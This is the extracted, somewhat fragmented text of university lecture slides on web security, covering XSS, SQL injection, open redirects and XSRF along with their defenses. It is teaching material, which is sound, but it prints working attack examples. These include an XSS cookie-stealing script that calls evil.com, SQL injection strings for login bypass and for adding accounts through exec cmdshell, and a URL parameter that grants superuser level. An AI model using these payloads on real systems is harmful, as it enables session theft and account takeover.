Web Security
Web Security
Web Security
Vitaly Shmatikov
(most slides from the Stanford Web security group)
slide 1
Web (XSS)
Buffer Overflow
slide 2
Web Applications
Big trend: software as a (Web-based) service
Online banking, shopping, government, bill payment, tax prep, customer relationship management, etc. Cloud computing
request
Browser OS
website reply
Network
Hardware
slide 5
Web application
Runs at website
Banks, online merchants, blogs, Google Apps, many others
Written in PHP, ASP, JSP, Ruby, Many potential bugs: XSS, SQL injection, XSRF Attacks lead to stolen credit cards, defaced sites, mayhem
slide 6
Web Attacker
Controls malicious website
Can even obtain SSL/TLS certificate for his site
slide 7
Malware attacker
Attacker controls users machine how? Exploit application bugs (e.g., buffer overflow) Convince user to install malicious content how?
Masquerade as an antivirus program, codec for a new video format, etc. Well see many examples of this
slide 8
Web browser
Primitives
Document object model Frames Cookies / local Storage
Principals: Users
Discretionary access control
Principals: Origins
Mandatory access control
Vulnerabilities
Buffer overflow Root exploit
Vulnerabilities
Cross-site scripting Universal scripting
slide 9
Responds to events
Events
User actions: OnClick, OnMouseover Rendering: OnLoad Timing: setTimeout(), clearTimeout()
slide 10
slide 12
slide 14
JavaScript
Language executed by browser
Scripts are embedded in Web pages Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page
slide 16
slide 17
Same-origin policy
Can only read properties of documents and windows from the same server, protocol, and port If the same server hosts unrelated sites, scripts from one site can access document properties on the other
Server victim
slide 21
victims browser
naive.com
hello.cgi
GET/ hello.cgi?name= <script>win.open(http:// evil.com/steal.cgi?cookie+ document.cookie)</script>
<HTML>Hello, dear <script>win.open(http:// evil.com/steal.cgi?cookie= +document.cookie)</script> Welcome!</HTML> Interpreted as Javascript by victims browser; opens window and calls steal.cgi on evil.com
slide 22
Access some web page <FRAME SRC= http://naive.com/hello.cgi? name=<script>win.open( http://evil.com/steal.cgi? cookie=+document.cookie) </script>> Forces victims browser to call hello.cgi on naive.com with this script as name GET/ steal.cgi?cookie=
hello.cgi executed
So What?
Why would user click on such a link?
Phishing email in webmail client (e.g., Gmail) Link in DoubleClick banner ad many many ways to fool user into clicking
slide 23
When visitor loads the page, webserver displays the content and visitors browser executes script
Many sites try to filter out scripts from user content, but this is difficult (example: samy worm)
http://cnn.com/login?URI=>><script>AttackScript</script>
Use phishing email to drive users to this URL Similar: malicious DOM (client parses bad URL)
slide 25
Bookmarklets
Bookmarked JavaScript URL javascript:alert(Welcome to paradise!) Runs in the context of current loaded page
slide 26
In ASP.NET, Server.HtmlEncode(string)
slide 27
SQL
Widely used database query language Fetch a set of records
SELECT * FROM Person WHERE Username=Vitaly
Modify data
UPDATE Keys SET Key=FA33452D WHERE PersonID=5
slide 28
slide 29
unintended query
Victim SQL DB
slide 30
slide 31
Web server
DB
slide 32
Normal Login
Enter Username & Password SELECT passwd FROM USERS WHERE uname IS smith
Web server
DB
slide 33
slide 34
Web server
DB
slide 35
Exploits of a Mom
http://xkcd.com/327/
slide 36
slide 37
To authenticate logins, server runs this SQL command against the user database: SELECT * WHERE user=name AND pwd=passwd User enters OR WHERE pwd LIKE `% as both name and passwd Wildcard matches any password Server executes SELECT * WHERE user= OR WHERE pwd LIKE `% AND pwd= OR WHERE pwd LIKE `% Logs in with the credentials of the first person in the database (typically, administrator!)
slide 38
It Gets Better
User gives username
exec cmdshell net user badguy badpwd / ADD --
Web server executes query set UserFound=execute( SELECT * FROM UserTable WHERE username= exec -- ); Creates an account for badguy on DB server
slide 39
slide 40
More Attacks
Create new users ; INSERT INTO USERS (uname,passwd,salt) VALUES (hacker,38a74f, 3234); Password reset ; UPDATE USERS SET [email protected] WHERE [email protected]
slide 41
Uninitialized Inputs
Creates a password with 8 /* php-files/lostpassword.php */ random characters, assuming $new_pass is set to NULL for ($i=0; $i<=7; $i++) $new_pass .= chr(rand(97,122)) $result = dbquery(UPDATE .$db_prefix.users SET user_password=md5($new_pass) WHERE user_id=.$data[user_id]. ); SQL query setting password in the DB
In normal execution, this becomes UPDATE users SET user_password=md5(????????) WHERE user_id=userid
slide 42
Exploit
User appends this to the URL: &new_pass=badPwd%27%29%2c user_level=%27103%27%2cuser_aim=%28%27
This sets $new_pass to badPwd), user_level=103, user_aim=(
SQL query becomes UPDATE users SET user_password=md5(badPwd) user_level=103, user_aim=(????????) WHERE user_id=userid Users password is
with superuser privileges set to badPwd
slide 43
slide 44
slide 45
slide 46
Whitelisting
Blacklisting bad characters doesnt work
Forget to filter out some characters Could prevent valid input (e.g., last name OBrien)
Escaping Quotes
For valid string inputs use escape characters to prevent the quote becoming part of the query
Example: escape(oconnor) = oconnor Convert into \ Only works for string inputs Different databases have different rules for escaping
slide 48
slide 49
URL Redirection
EZShopper.com shopping cart (Oct 2004) http:///cgi-bin/ loadpage.cgi?page=url
Redirects browser to url Commonly used for tracking user clicks; referrals
Phishing website puts http://victim.com/ cgi-bin/loadpage.cgi?page=phish.com Everything looks Ok (the link is indeed pointing to victim.com), but user ends up on phishing site!
slide 50
slide 51
Website resolved to
http://202.69.39.30/snkee/billing.htm?session_id=8495 ...
slide 52
Malicious script can make forged requests to good site with users cookie
Netflix: change acct settings, Gmail: steal contacts Potential for much bigger damage (think banking)
slide 53
User victim
Attack server
Browser sends cookie, payment request fulfilled! Lesson: cookie authentication is not sufficient when side effects can happen
slide 55
slide 56
Login XSRF
slide 57
slide 58
XSRF Defenses
Secret validation token
<input type=hidden value=23a3af01b>
Referer validation
Referer: http://www.facebook.com/home.php
slide 60